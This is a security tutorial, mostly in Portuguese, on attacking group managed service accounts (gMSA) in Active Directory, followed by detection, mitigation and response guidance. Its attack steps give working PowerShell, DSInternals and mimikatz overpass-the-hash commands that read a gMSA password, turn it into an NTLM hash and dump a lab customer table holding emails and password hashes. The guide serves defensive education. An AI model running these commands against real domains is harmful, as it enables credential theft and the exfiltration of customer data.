Ataque a Contas de Serviço Gerenciadas por Grupo

Tutorial de Ataque: Como funciona o ataque a Contas de Serviço Gerenciadas por Grupo

PASSO 1: Descobrir um gMSA explorável

Primeiro, um adversário deve identificar gMSAs que ele possa explorar. Um adversário deve ter comprometido uma conta com permissões para modificar as permissões do gMSA ou uma conta com permissões para ler a senha do gMSA. (A conta do computador para qualquer sistema que esteja utilizando legitimamente o gMSA tem a capacidade de ler a senha do Active Directory. Qualquer processo executado como o usuário NT AUTHORITY\SYSTEM, portanto, pode acessar a senha do gMSA.)

Neste exemplo, um adversário explorou uma vulnerabilidade em um sistema de gerenciamento de conteúdo (CMS) popular que permite a execução remota de código no servidor web. Eles descobriram que o CMS mal configurado está sendo executado como NT AUTHORITY\SYSTEM e enumeram as identidades sob as quais outros sites no servidor estão rodando, encontrando o gMSA SvcCustomerWeb$.

      PS C:\Windows\system32> whoami

nt authority\system

PS C:\Windows\system32> Import-Module WebAdministration

PS C:\Windows\system32> Get-ChildItem "IIS:\AppPools" | Foreach-Object {

>> $AppPoolName = $_.Name; (Get-Item "IIS:\AppPools\$($_.Name)").processModel |

>> Select @{Name = "AppPoolName"; Expression = {$AppPoolName}}, identityType, userName }

AppPoolNameidentityTypeuserName

-------------------------------

.NET v4.5ApplicationPoolIdentity

.NET v4.5 ClassicApplicationPoolIdentity

ContentManagementSystem LocalSystem

CustomerWebsiteSpecificUserSvcCustomerWeb$

DefaultAppPoolApplicationPoolIdentity

PS C:\Windows\system32>
      

PASSO 2: Comprometer a senha do gMSA

Next, the adversary needs to render the gMSA's 256-byte password (the equivalent of 256 characters), which is composed entirely of random bits, into a usable format. They can either convert the random bytes into a usable password or convert it to a NTLM hash, which can then be used with Pass-the-Hash or Overpass-the-Hash techniques. The DSInternals PowerShell module provides the ConvertFrom-ADManagedPasswordBlob and ConvertTo-NTHash cmdlets for these purposes.

      PS C:\Windows\system32> Install-Module -Name DSInternals -Force

PS C:\Windows\system32> Import-Module DSInternals

# Acquire gMSA password

PS C:\Windows\system32> $gMSA = ConvertFrom-ADManagedPasswordBlob (Get-ADServiceAccount SvcCustomerWeb -prop 'msDS-ManagedPassword' | Select -expand 'msDS-ManagedPassword')

# Obtain plaintext password as 128 UTF-16 characters. Note: these characters don't render well in PowerShell, so we suggest outputing the password to a file:

# e.g.: $gMSA.CurrentPassword | Out-File gMSAPassword.txt

PS C:\Windows\system32> $gMSA.CurrentPassword

ﻛୄ㫢沬뛩톈ᒰ枭로挴ꦯ黯刳䛹㍶鴝ꠅꨜ♤ཙ㘩惦鷧౨⮎鹲좺ﯞ蓼䩿뻞έ恤ㇴ倹⤇쁻ຌ௫Я딝㌥頪園ᢜ䵼烗ₖ鍥쨼蟎ꠡÑ샄ℳ⽇፬⸗睎능찈숦ﭳⲭ鎚㰽韹땦쪪騌ힾ낝૕鋹员㾶񣉰쟟㳍ْ痪Л፝堪澴캄畩ʛ뛅ꔭ궡٬鹕☑늭颹躱煉㘬ꇶ蓾蕳Ḙ蝅葳⸕獜쑨罹祇諾쨒槖켥ꁼᏣ

# Obtain NTLM hash

PS C:\Windows\system32> ConvertTo-NTHash $gMSA.SecureCurrentPassword

9a9865e4a0412c6a726ec31568cbebc7

PS C:\Windows\system32>
      

PASSO 3: Use a senha gMSA para objetivos adicionais

O adversário pode agora usar as credenciais comprometidas para avançar seus objetivos. Neste exemplo, o adversário utiliza overpass-the-hash para se autenticar no banco de dados de clientes e exfiltrar uma lista de clientes, suas informações de contato e seus hashes de senha.

      PS C:\Windows\system32> mimikatz.exe "sekurlsa::pth /user:SvcCustomerWeb$ /domain:domain.com /ntlm:9a9865e4a0412c6a726ec31568cbebc7" exit

# A new command prompt opens

C:\Windows\system32>mssql-cli --server dbserver --username "domain\SvcCustomerWeb$" --integrated --query "SELECT SYSTEM_USER; SELECT * FROM [CustomerApp].[dbo].[Customers];"

+--------------------------+

| (No column name)|

|--------------------------|

| DOMAIN\SvcCustomerWeb$|

+--------------------------+

(1 row affected)

+--------------+-------------+-----------+----------------------------+------------------------------------------+

| customerId| givenName| surName| email| password|

|--------------+-------------+-----------+----------------------------+------------------------------------------|

| 1| Bob| Jones| bjones@stealthbitslab.com| 6367c48dd193d56ea7b0baad25b19455e529f5ee |

| 2| Suzy| Smith| smith@stealthbitslab.com| 5d04c4864322580108f66e0e64c89a9aa31aef56 |

| 3| Amy| Hawkes| ahawkes@stealthbitslab.com | bf8ffd3a80b00c3a8bf9aca2edcae9203ab7837e |

| 4| Jill| Paul| jpaul@stealthbitslab.com| 3e8e521392424218e6e1b12c6d8803ba0a8645cf |

+--------------+-------------+-----------+----------------------------+------------------------------------------+

(4 rows affected)
      

Detectar, Mitigar e Responder

Detectar

Dificuldade: Baixa

Pode ser difícil detectar todas as leituras não autorizadas do atributo msDS-ManagedPassword, especialmente se ocorrerem como a conta do computador. No entanto, usuários regulares nunca devem acessar senhas gMSA, então monitorar os logs de eventos do Active Directory para acesso a senhas gMSA por usuários que não sejam contas de computador é uma detecção importante. Além disso, monitorar contas gMSA para alterações nas permissões (o atributo msDS-GroupMSAMembership) para quais entidades podem acessar a senha também é importante.
ID do Evento 4662 na subcategoria Audit Directory Service Access audita informações básicas sobre usuários realizando operações dentro do Active Directory para eventos especificados na system access control list (SACL).
Usando este evento, é possível ver quando um usuário lê uma senha gMSA. Para identificar esses eventos, filtre os logs de eventos por:

• Tipo de Operação: Acesso ao Objeto
• Acessos: Ler Propriedade
• Propriedades: Inclui o GUID {e362ed86-b728-0842-b27d-2dea7a9df218} Este é o GUID do atributo msDS-ManagedPassword.

Mitigar

Dificuldade: Média

Mitigar o risco de exploração de gMSA é, em última análise, sobre defender privilégios do Active Directory que permitem a um adversário modificar permissões de gMSA ou ler a senha, e adotar outras melhores práticas para prevenir a infiltração:

• Audite rotineiramente as permissões para modificar contas gMSA e adote agressivamente o princípio do menor privilégio.
• Audite rotineiramente a associação do atributo msDS-GroupMSAMembership em cada gMSA e garanta que apenas contas de computador autorizadas tenham privilégios para acessar a senha.
• Alerta, em tempo real, sobre alterações nas permissões do gMSA.

Responder

Dificuldade: Médio

Caso um usuário que não seja uma conta de computador autorizada recupere a senha gMSA ou ocorra uma alteração não autorizada nas permissões gMSA, existem várias ações que se pode tomar para responder imediatamente:

• Ative o processo de resposta a incidentes e alerte a equipe de resposta.
• Redefina a senha do usuário que realizou a ação e, opcionalmente, desative esse usuário para a) forçar a replicação instantânea para todos os controladores de domínio e b) interromper o uso da conta pelo adversário.
• Redefina a senha para a gMSA afetada.
• Coloque as máquinas impactadas em quarentena para investigação forense, bem como atividades de erradicação e recuperação.